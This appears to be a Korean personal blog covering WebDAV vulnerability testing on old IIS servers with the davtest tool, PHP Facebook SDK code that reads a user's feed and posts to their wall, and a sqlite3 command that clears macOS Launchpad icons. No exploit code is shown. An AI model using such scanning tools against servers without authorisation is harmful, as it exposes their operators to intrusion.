[Webdav] pearl로 취약성 테스트 하기

[원문보기]

http://code.google.com/p/davtest/

위 사이트에서 파일을 다운로드 받아 대상 사이트(< IIS 5)에 테스트 본다.

vmware에서 win 2000 iis5, win 2003 iis6 에서 해봤는데 둘 다 잘 안된다.

기본적으로 prohibit이고, 거의 쓰는데가 없으므로 체크리스트로의 가치가 점점 줄어든다고 할 수 있다.

error가 발생되면서 실행되지 않으면,

# cpan -i HTTP::DAV

를 하여 필요한 내용을 설치해 준다.

[FACEBOOK] 앱 만들기2 - 담벼락에 글 쓰기, 글 가져오기, 생일 및 프로필 보기

[원문보기]

read_stream, publish_stream, user_birthday

에서 r은 뉴스 피드 읽기, p는 게시하기, u는 생일 가져오기 인데, 나머지가 더 필요하면 ref에서 찾아보기 바란다.

$user_profile 변수(배열)에 user_birthday가 포함되어 있으며, 나머지 필드는 var_dump, print_r 등으로 확인하변 된다.

허가하지 않으면, 페북 메인으로 가게 했고, 허가하면, 앱으로 가도록 했다.

if ($session==null) {

$url = $facebook->getLoginUrl(array('scope' => 'read_stream,publish_stream,user_birthday','cancel_url'=>'http://www.facebook.com','next' => 'http://apps.facebook.com/앱네임스페이스/'));

echo "<script> document.location.replace('$url'); </script>";

} else if($session=$facebook->getUser()){

if($_SERVER['QUERY_STRING']==""){//iframe으로 들어가지 않아 이런 허접한 방법을 썼다.

$birthday=$user_profile[birthday];//생일

$hometown=$user_profile[hometown];//고향

$sports=$user_profile[sports];//좋아하는 운동

$feeds = $facebook->api('/me/feed?limit=2000&access_token='.$session["access_token"]); //뉴스 피드 가져오기

$data=$feeds[data];//데이터 변수에 넣어 출력 준비

//아래와 같은 반복문으로 댓글과 메시지를 출력할 수 있다.

for($i=0;$i<count($data);$i++){

$msg=$data[$i];

$comments=$data[$i][comments];

$count=count($comments[data]);

if($user==$msg[from][id]){

if($msg[message]!="")

$ret[]=$msg[message];

}

for($k=0;$k<$count;$k++){

$cd=$comments[data][$k];

if($user==$cd[from][id])

if($msg[message]!="")

$ret[]=$cd[message];

}

//원하면 아래와 같이 접근자의 사진을 출력할 수 있다.

echo '<img src="https://graph.facebook.com/'.$user.'/picture">';

// 아래와 같은 데이터 구조로 접근자 담벼락에 글을 쓸 수 있다.

$attachment = array('message' => '메시지',

'name' => $title,

'caption' => $desc,

'link' => $link,

'description' => $desc,

'picture' => $imgurl,

'actions' => array(array('name' => '앱이름',

'link' => 'http://apps.facebook.com/앱네임스페이스'))

);

$result = $facebook->api('/me/feed/',

'post',

$attachment);

}else{//승인은 되었으나 iframe안에 있지 않을 때, 앱 메인으로 이동시킨다.

echo "<script> document.location.replace('http://apps.facebook.com/앱네임스페이스'); </script>";

}

[FACEBOOK] 앱 만들기1

[원문보기]

https://developers.facebook.com/apps

위 사이트에 가서 새 앱 만들기를 누른다.

이름을 입력하면, 위와 같이 Basic 설정으로 넘어간다.

앱 네임스페이스는 앱의 이름이라고 할 수 있다. 영어로 쓴다.

이메일은 자신의 이메일을 쓰면 된다.

아래에 웹사이트, 캔버스 URL, MObile Web URL은 http://주소/facebook/ 로 모두 동일하게 적어도 된다.

캔버스 페이지는 http://apps.facebook.com/네임스페이스

변경내용을 저장하고,

이제 facebook 디렉터리의 index.php를 작성한다.

https://github.com/facebook/php-sdk/

위 사이트에서 sdk를 다운로드 하고 아래와 같이 기본 코드를 작성한다.

require "./php-sdk/src/facebook.php";

$facebook = new Facebook(array(

'appId' => '', //어플리케이션 생성시 발급된 'Application ID'를 넣어주자.

'secret' => '', //어플리케이션 생성시 발급된 'Application Secret' 을 넣어주자.

'cookie' => true,

));

// Get User ID

$user = $facebook->getUser();

// We may or may not have this data based on whether the user is logged in.

// If we have a $user id here, it means we know the user is logged into

// Facebook, but we don't know if the access token is valid. An access

// token is invalid if the user logged out of Facebook.

if ($user) {

try {

// Proceed knowing you have a logged in user who's authenticated.

$user_profile = $facebook->api('/me');

} catch (FacebookApiException $e) {

error_log($e);

$user = null;

}

// Login or logout url will be needed depending on current user state.

if ($user) {

$logoutUrl = $facebook->getLogoutUrl();

} else {

$loginUrl = $facebook->getLoginUrl();

}

$session=$facebook->getUser();

if ($session==null) {

사용자가 승인하는 부분 // 다음 게시글에서 다룬다.

}

[MAC LION] launchpad 아이콘 삭제

[원문보기]

# Clear applications listed in Launchpad

sqlite3 ~/Library/Application Support/Dock/*.db "DELETE from apps;

DELETE from groups WHERE title<>''; DELETE from items WHERE rowid>2;"

&& killall Dock

위 명령어를 사용하면 된다.

http://verified-fool.tistory.com/55

또다른 방법으로는 launchpad control를 설치해 필요 없는 것을 제거하는 방법이다.

http://chaosspace.de/launchpad-control/

위 사이트에서 받으면 된다.

첨부도 있으니, sh Kill_all_apps_on_Lauchpad.sh 를 실행해 아이콘을 삭제할 수 있고,

Launchpad-Control.prefPane 를 실행해 환경설정에 등록한 후, 보이길 원하지 않는 아이콘을 체크 해제해 적용할 수 있다.

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[C++] md5 해시 만들기

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